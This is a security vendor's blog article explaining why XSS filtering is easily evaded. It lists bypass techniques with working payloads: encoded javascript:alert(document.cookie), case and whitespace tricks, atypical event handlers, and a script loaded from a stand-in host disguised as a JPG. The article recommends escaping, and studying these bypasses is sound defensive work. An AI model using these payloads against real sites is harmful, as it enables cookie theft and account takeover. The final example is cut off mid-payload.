The two primary methods of avoiding Cross-site Scripting (XSS) vulnerabilities are XSS filtering and XSS escaping. However, XSS filtering is not recommended because it can usually be evaded using clever tricks. Here are some of the methods that an attacker can employ in their malicious code to easily bypass the XSS filters in your web application.

Why Is XSS Filtering So Difficult?

XSS filters work by finding typical patterns that may be used as XSS attack vectors and removing such code fragments from user input data. Patterns are most often found using regular expressions. This is very difficult for two primary reasons:

  • Modern browsers, such as Google Chrome, Firefox, and Internet Explorer, are very fault-tolerant when it comes to malformed (imprecise or erroneous) HTML code. In addition to that, JavaScript is very flexible and the same functionality may often be expressed in many ways. An attacker may exploit these facts by intentionally creating code that eludes typical XSS search patterns.
  • Patterns that may signify an XSS payload may also be used legitimately, as a content of the web page (for example, in this article). Therefore, the filter must be able to avoid false positives.

In theory, it is possible to create a nearly foolproof XSS filter. However, the complexity of this filter would be enormous and there is always a chance that someone will come up with a new bypassing technique. That is why escaping is the easier and the recommended method of preventing XSS attacks.

Cross-site Scripting Filter Bypass Cheat Sheet

The following are the most common methods used by attackers to fool XSS filters. Of course, all these methods may be combined or refined. You can find more examples in the OWASP resource based on the XSS Cheat Sheet by RSnake.

Using Character Encoding

The simplest XSS vector used to defeat filters is based on encoding characters that may trigger a filter. You may use different techniques for encoding, for example, base64, HTML entities, or others. The encoding will depend on what exactly needs to be encoded, for example, href tag URLs support URL encoding but tag names do not. All the other methods described below are often used with some form of encoding.

For example, to fool filters that look for typical ASCII patterns, you may replace javascript:alert(document.cookie) with jav
script&#x3aalert(document&#x2Ecookie). Note that you may also skip any or all semicolons.

If the filter knows how to recognize encoding attempts, you may try to trick it by using decimal encoding with padding and by skipping semicolons. For example, &#0000097&#0000108&#0000101&#0000114&#0000116 is equivalent to alert.

Case Manipulation and Character Insertion

If the filter is case-sensitive, it may be fooled if you use a different case than the one that is expected. For example, you may use <SCRIPT>, <Script> or even <sCrIpT>.

Additionally, modern web browsers usually ignore extra spaces, tabs, newlines, and carriage returns that you insert in the HTML tag. For example, you can use <script   >, <script[\x09]>, <script[\x10]>, or <script[\x13]>. You can also attempt to insert a null byte anywhere, for example, <[\x00]script>.

Fooling Regular Expressions

Sometimes bypassing a filter requires no more than finding a method to fool the regex. For example, you can use fake tags with brackets: <script a=">" src="http://example.com/xss.jpg"></script>. If the regexp is not written correctly, it will assume that the script tag ends with the first closing bracket. Also, note how the file is named to mimic a JPG image and fool filters that look for specific file extensions.

Using Atypical Event Handlers

While many XSS filters test for potential JavaScript in typical event handlers such as onmouseover, onclick, onerror, onfocus, or onload, there are a lot of other event handlers that you can try to use, for example marquee-related event handlers such as onstart and onfinish, and many more. The most comprehensive list of such handlers is available on W3Schools.

Tricks with Tags and Attributes

Some filters focus only on the common tags. Therefore, you can use uncommon tags to bypass them, such as <svg>. However, filters often forget to include such obvious tags as <body onload=alert(document.cookie)>.

Using Atypical Delimiters

There are several characters that may be used as delimiters instead of whitespaces – modern browsers will still execute the code properly. For example, you may use double quotes, single quotes, and even backticks (only for some browsers). For example, <script src=test`onload=`alert(document.cookie)>.

You may also try to use extra angle brackets and slashes (comments) to trick filters, for example <<script>alert(document.cookie)//<</script>. Modern browsers are often so tolerant that they may even execute the following code properly: <iframe src=http://xss.example.com/xss.html <.

Also, note that the first whitespace after the tag name may be replaced by even more delimiters. For example, you may replace it by a single slash: <img/onload=alert(document.cookie)>.

Making Other Deliberate Mistakes

While deliberate mistakes can help you bypass many filters, browsers will still understand the context. This is especially true when you use quotes in the wrong place, in the wrong order, or forget to close quotes.

A very simple example of this is: <input type="text" name="test" value="><script>alert("xss")</script>. The unclosed quote after value may fool the filter but the code will still be executed because most browsers will treat the quote as closed and fix the code internally.

Another deliberate mistake used to fool filters is adding junk content after the tag name. Many modern browsers will completely ignore such added content, so, for example, you can use <script/anything> instead of <script> (note the use of the single slash delimiter described in the previous section).

The Past, the Present, and the Future

Filter evasion keeps evolving and you can expect new methods to appear in the future as they are being discovered. Many methods can also be used together to make evasion more effective, for example, you can use  meta tags such as refresh along with base64 encoding <meta http-equiv="refresh"
content="0;url=data:text/html base64,PHNjcmlwdD5hbGVydChkb2N1bWVudC5jb29raWUpPC9zY3JpcHQ">

Note that some XSS filter evasion cheat sheets currently available online have not been updated for many years and many techniques listed there no longer work. Here are some of the most interesting techniques that are included in such cheat sheets but work only in very old browsers (in some cases, even as old as Netscape):

  • Using attributes that no longer execute JavaScript, for example: <body background="javascript:alert(document.cookie)"> or img tags such as <img dynsrc=alert(document.cookie)> or <img lowsrc=alert(document.cookie)>.
  • Using stylesheet links: <link rel="stylesheet" href="javascript:alert(document.cookie);">
  • Using CSS: <div style="background-image: url(javascript:alert(document.cookie))">
  • Using eval() and fromCharCode to escape disallowed content, for example, <img onload="javascript:alert(
  • Using VBScript in an image: <img src='vbscript:msgbox("warning")'> or using livescript
Tomasz Andrzej Nidecki
Principal Cybersecurity Writer
Tomasz Andrzej Nidecki (also known as tonid) is a Primary Cybersecurity Writer at Invicti, focusing on Acunetix. A journalist, translator, and technical writer with 25 years of IT experience, Tomasz has been the Managing Editor of the hakin9 IT Security magazine in its early years and used to run a major technical blog dedicated to email security.